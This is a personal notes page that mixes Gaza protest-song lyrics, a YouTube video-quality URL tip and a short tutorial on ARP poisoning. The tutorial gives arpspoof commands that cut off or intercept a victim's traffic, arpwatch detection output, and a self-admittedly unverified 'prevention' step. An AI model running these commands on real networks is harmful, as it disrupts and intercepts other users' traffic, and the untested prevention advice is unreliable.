Notes

i like this song so much
[youtube=http://www.youtube.com/watch?v=dlfhoU66s4Y&color1=0xb1b1b1&color2=0xcfcfcf&hl=en&feature=player_embedded&fs=1]

WE WILL NOT GO DOWN (Song for Gaza)
(Composed by Michael Heart)
Copyright 2009

A blinding flash of white light
Lit up the sky over Gaza tonight
People running for cover
Not knowing whether they’re dead or alive

They came with their tanks and their planes
With ravaging fiery flames
And nothing remains
Just a voice rising up in the smoky haze

We will not go down
In the night, without a fight
You can burn up our mosques and our homes and our schools
But our spirit will never die
We will not go down
In Gaza tonight

Women and children alike
Murdered and massacred night after night
While the so-called leaders of countries afar
Debated on who’s wrong or right

But their powerless words were in vain
And the bombs fell down like acid rain
But through the tears and the blood and the pain
You can still hear that voice through the smoky haze

We will not go down
In the night, without a fight
You can burn up our mosques and our homes and our schools
But our spirit will never die
We will not go down
In Gaza tonight

find it here
http://lifehacker.com/362922/get-higher+resolution-youtube-videos-with-a-url-hack
adding &fmt=6 to url you will get 448×336
adding &fmt=18 you may get MP4-encoded version, with better audio and a 480×360 resolution

idea – detection – solution
what is arp
From wikipedia

In computer networking, the Address Resolution Protocol (ARP) is the method for finding a host’s hardware address when only its Network Layer address is known. ARP is defined in RFC 826.[1] It is a current Internet Standard (STD 37).

ARP is not an IP-only or Ethernet-only protocol; it can be used to resolve many different network-layer protocol addresses to hardware addresses, although, due to the overwhelming prevalence of IPv4 and Ethernet, ARP is primarily used to translate IP addresses to Ethernet MAC addresses.

Net Cut is tool used here in egypt to dominate the network in shared network
Anatomy of an ARP Poisoning Attack
http://www.watchguard.com/infocenter…ial/135324.asp

how to do
install dsniff and arpwatch packages
example
192.168.1.1 = Router IP
192.168.1.2 = Victim IP

echo 0 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
# terminate
killall arpspoof
detection
use arpwatch and watch /var/log/message //here under RedHat
arpwatch -i eth0
cat /var/log/message
#will show somthing like that
Oct 6 21:42:22 localhost arpwatch: changed ethernet address 192.168.1.1 MAC (MAC_adress)
Oct 6 21:42:26 localhost arpwatch: reused old ethernet address 192.168.1.1 MAC_Adress (MAC_Adress)

prevention–just for blockage of incoming data

just use arpspoof command to your ip/
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 Your_IP
about prevention step
i just tried it in My pc … plz any one who could confirm … will be welcome
References
http://www.watchguard.com/infocenter/editorial/135324.asp
http://www.irongeek.com/i.php?page=security/arpspoof
http://en.wikipedia.org/wiki/Address_Resolution_Protocol
http://www.cyberciti.biz/faq/how-to-detect-arp-spoofing-under-unix-or-linux/
http://www.cat-hackers.com/
http://monkey.org/%7Edugsong/dsniff/faq.html
man arp
man arpwatch
man arpspoof